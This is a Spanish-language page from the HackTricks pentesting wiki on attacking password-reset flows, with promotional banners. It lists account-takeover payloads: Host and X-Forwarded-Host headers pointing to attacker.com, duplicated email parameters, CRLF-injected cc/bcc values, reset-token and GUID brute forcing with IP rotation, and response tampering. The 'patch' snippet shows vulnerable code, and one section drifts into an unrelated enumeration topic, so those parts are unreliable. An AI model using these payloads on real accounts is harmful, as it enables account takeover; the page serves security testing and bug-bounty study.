hacktricks/pentesting-web/reset-password.md

324 lines
15 KiB
Markdown
Raw Normal View History

2023-06-05 18:33:24 +00:00
# Bypass de restablecimiento/olvido de contraseña
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
🐞 Lee tutoriales de errores web3
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
💬 Participa en discusiones comunitarias
Las siguientes técnicas de recompilación se tomaron de [https://anugrahsr.github.io/posts/10-Password-reset-flaws/](https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
## Fuga de token de restablecimiento de contraseña a través del referente
El **referente HTTP** es un campo de encabezado HTTP opcional que identifica la dirección de la página web que está vinculada al recurso que se está solicitando. El encabezado de solicitud Referer contiene la dirección de la página web anterior desde la cual se siguió un enlace a la página solicitada actualmente.
![](https://www.optimizesmart.com/wp-content/uploads/2020/01/1-1-2.jpg)
### Explotación
* Solicita el restablecimiento de la contraseña a tu dirección de correo electrónico
* Haz clic en el enlace de restablecimiento de contraseña
* No cambies la contraseña
* Haz clic en cualquier sitio web de terceros (por ejemplo, Facebook, Twitter)
* Intercepta la solicitud en el proxy de Burpsuite
* Comprueba si el encabezado del referente está filtrando el token de restablecimiento de contraseña.
### Impacto
Permite a la persona que tiene el control de un sitio en particular cambiar la contraseña del usuario (ataque CSRF), porque esta persona conoce el token de restablecimiento de contraseña del usuario.
### Referencia:
* https://hackerone.com/reports/342693
* https://hackerone.com/reports/272379
* https://hackerone.com/reports/737042
* https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a
* https://medium.com/@shahjerry33/password-reset-token-leak-via-referrer-2e622500c2c1
## Envenenamiento de restablecimiento de contraseña
¡Si encuentras un ataque de encabezado de host y está fuera de alcance, intenta encontrar el botón de restablecimiento de contraseña!
![](https://portswigger.net/web-security/images/password-reset-poisoning.svg)
### Explotación
* Intercepta la solicitud de restablecimiento de contraseña en Burpsuite
* Agrega el siguiente encabezado o edita el encabezado en Burpsuite (prueba uno por uno)
```
Host: attacker.com
```
```
Host: target.com
X-Forwarded-Host: attacker.com
```
```
Host: target.com
Host: attacker.com
```
* Verificar si el enlace para cambiar la contraseña dentro del correo electrónico apunta a attacker.com
### Parche
Usar `$_SERVER['SERVER_NAME']` en lugar de `$_SERVER['HTTP_HOST']`
```php
$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12345678-1234-1234-1234-12345678901";
```
### Impacto
El usuario víctima recibirá el enlace malicioso en su correo electrónico y, al hacer clic en él, filtrará el enlace / token de restablecimiento de contraseña del usuario al atacante, lo que llevará a la toma completa de la cuenta.
### Referencia:
* https://hackerone.com/reports/226659
* https://hackerone.com/reports/167631
* https://www.acunetix.com/blog/articles/password-reset-poisoning/
* https://pethuraj.com/blog/how-i-earned-800-for-host-header-injection-vulnerability/
* https://medium.com/@swapmaurya20/password-reset-poisoning-leading-to-account-takeover-f178f5f1de87
## Restablecimiento de contraseña manipulando el parámetro de correo electrónico
### Explotación
* Agregar el correo electrónico del atacante como segundo parámetro usando &
```php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
```
* Agregar el correo electrónico del atacante como segundo parámetro usando %20
```php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
```
* Agregar el correo electrónico del atacante como segundo parámetro usando |
```php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
```
* Agregar el correo electrónico del atacante como segundo parámetro usando cc
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
```
* Agregar el correo electrónico del atacante como segundo parámetro usando bcc
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
```
* Agregar el correo electrónico del atacante como segundo parámetro usando ,
```php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
```
* Agregar el correo electrónico del atacante como segundo parámetro en el arreglo json
```php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
```
### Referencia
* https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
* https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
* https://twitter.com/HusseiN98D/status/1254888748216655872
## Cambiando el correo electrónico y la contraseña de cualquier usuario a través de parámetros de API
### Explotación
* El atacante debe iniciar sesión con su cuenta e ir a la función de Cambiar contraseña
* Inicie Burp Suite e intercepte la solicitud
* Después de interceptar la solicitud, envíela al repetidor y modifique los parámetros Correo electrónico y Contraseña.
```php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
```
### Referencia
* https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240
### Sin límite de tasa: bombardeo de correo electrónico <a href="#5-no-rate-limiting-email-bombing" id="5-no-rate-limiting-email-bombing"></a>
### Explotación
* Inicie Burp Suite e intercepte la solicitud de restablecimiento de contraseña
* Envíelo a intruso
* Use carga útil nula
### Referencia
* https://hackerone.com/reports/280534
* https://hackerone.com/reports/794395
## Descubra cómo se genera el token de restablecimiento de contraseña
Descubra el patrón del token de restablecimiento de contraseña
![](https://encrypted-tbn0.gstatic.com/images?q=tbn%3AANd9GcSvCcLcUTksGbpygrJB4III5BTBYEzYQfKJyg\&usqp=CAU)
Si es
* Generado en función de la marca de tiempo
* Generado en función del ID de usuario
* Generado en función del correo electrónico del usuario
* Generado en función del nombre y apellido
* Generado en función de la fecha de nacimiento
* Generado en función de la criptografía
Use Burp Sequencer para encontrar la aleatoriedad o previsibilidad de los tokens.
## GUID adivinable
Existen diferentes tipos de GUID:
* **Versión 0:** Solo se ve en el GUID nulo ("00000000-0000-0000-0000-000000000000").
* **Versión 1:** El GUID se genera de manera predecible en función de:
* La hora actual
* Una "secuencia de reloj" generada aleatoriamente que permanece constante entre GUID durante el tiempo de actividad del sistema generador
* Un "ID de nodo", que se genera en función de la dirección MAC del sistema si está disponible
* **Versión 3:** El GUID se genera utilizando un hash MD5 de un nombre y un espacio de nombres proporcionados.
* **Versión 4:** El GUID se genera aleatoriamente.
* **Versión 5:** El GUID se genera utilizando un hash SHA1 de un nombre y un espacio de nombres proporcionados.
Es posible echar un vistazo a un GUID y descubrir su versión, hay una pequeña herramienta para eso: [**guidtool**](https://github.com/intruder-io/guidtool)\*\*\*\*
```http
guidtool -i 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c
UUID version: 1
UUID time: 2021-11-17 17:52:18.141000
UUID timestamp: 138564643381410000
UUID node: 17547390002044
UUID MAC address: 0f:f5:91:f2:a3:7c
UUID clock sequence: 3426
```
Si se utiliza la versión 1 para generar un GUID de restablecimiento de contraseña, es posible realizar un ataque de fuerza bruta sobre los GUID.
```http
guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
a34aca00-47d0-11ec-8d62-0ff591f2a37c
a34af110-47d0-11ec-8d62-0ff591f2a37c
```
### Referencias
* [https://www.intruder.io/research/in-guid-we-trust](https://www.intruder.io/research/in-guid-we-trust)
## Manipulación de respuesta: Reemplazar una respuesta mala por una buena
Busque solicitudes y respuestas como estas.
```php
HTTP/1.1 401 Unauthorized
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)
```
# Cambiar la respuesta
## Descripción
A veces, cuando se solicita un restablecimiento de contraseña, el servidor devuelve una respuesta que puede ser útil para un atacante. Por ejemplo, puede indicar si el correo electrónico proporcionado está registrado en el sistema o no. Si el servidor devuelve una respuesta diferente para una dirección de correo electrónico que está registrada en el sistema y otra para una que no lo está, un atacante puede usar esto para enumerar direcciones de correo electrónico válidas.
## Prueba de concepto
Para probar si el servidor devuelve diferentes respuestas para direcciones de correo electrónico válidas e inválidas, puede enviar solicitudes de restablecimiento de contraseña para direcciones de correo electrónico que sabe que están registradas en el sistema y para direcciones que no lo están. Luego, compare las respuestas para ver si hay alguna diferencia.
## Mitigación
Para evitar que un atacante use este método para enumerar direcciones de correo electrónico válidas, el servidor debe devolver la misma respuesta para todas las solicitudes de restablecimiento de contraseña, independientemente de si la dirección de correo electrónico proporcionada está registrada en el sistema o no.
```php
HTTP/1.1 200 OK
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)
```
### Referencia
* https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3
### Usando Token Expirado <a href="#8-using-expired-token" id="8-using-expired-token"></a>
* Verificar si el token expirado puede ser reutilizado.
### Fuerza Bruta en Token de Restablecimiento de Contraseña <a href="#9-brute-force-password-rest-token" id="9-brute-force-password-rest-token"></a>
Intentar hacer fuerza bruta en el token de restablecimiento de contraseña usando Burpsuite.
```php
POST /resetPassword
[...]
email=victim@email.com&code=$BRUTE$
```
* Usa IP-Rotator en burpsuite para evitar el límite de velocidad basado en IP.
### Referencia
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
### Intenta Usar Tu Token <a href="#10-try-using-your-token" id="10-try-using-your-token"></a>
* Intenta agregar tu token de restablecimiento de contraseña con la cuenta de la víctima.
```php
POST /resetPassword
[...]
email=victim@email.com&code=$YOUR_TOKEN$
```
### Referencia
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
## Invalidación de sesión en cierre de sesión / restablecimiento de contraseña
Cuando un usuario cierra sesión o restablece su contraseña, la sesión actual debe invalidarse.\
Por lo tanto, **captura las cookies** mientras el usuario está conectado, **cierra sesión** y **verifica** si las **cookies** siguen siendo **válidas**.\
Repite el proceso **cambiando la contraseña** en lugar de cerrar sesión.
## Tiempo de expiración del token de restablecimiento
Los **tokens de restablecimiento deben tener un tiempo de expiración**, después del cual el token no debería ser válido para cambiar la contraseña de un usuario.
## Comprobaciones adicionales
* Usa username@burp\_collab.net y analiza la devolución de llamada
* Usuario con copia de correo electrónico = victim@mail.com%0a%0dcc:hacker@mail.com
* Una contraseña larga (> 200) conduce a DoS
* Agrega un segundo parámetro y valor de correo electrónico
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
🐞 Lee tutoriales de errores web3
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
💬 Participa en discusiones comunitarias
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>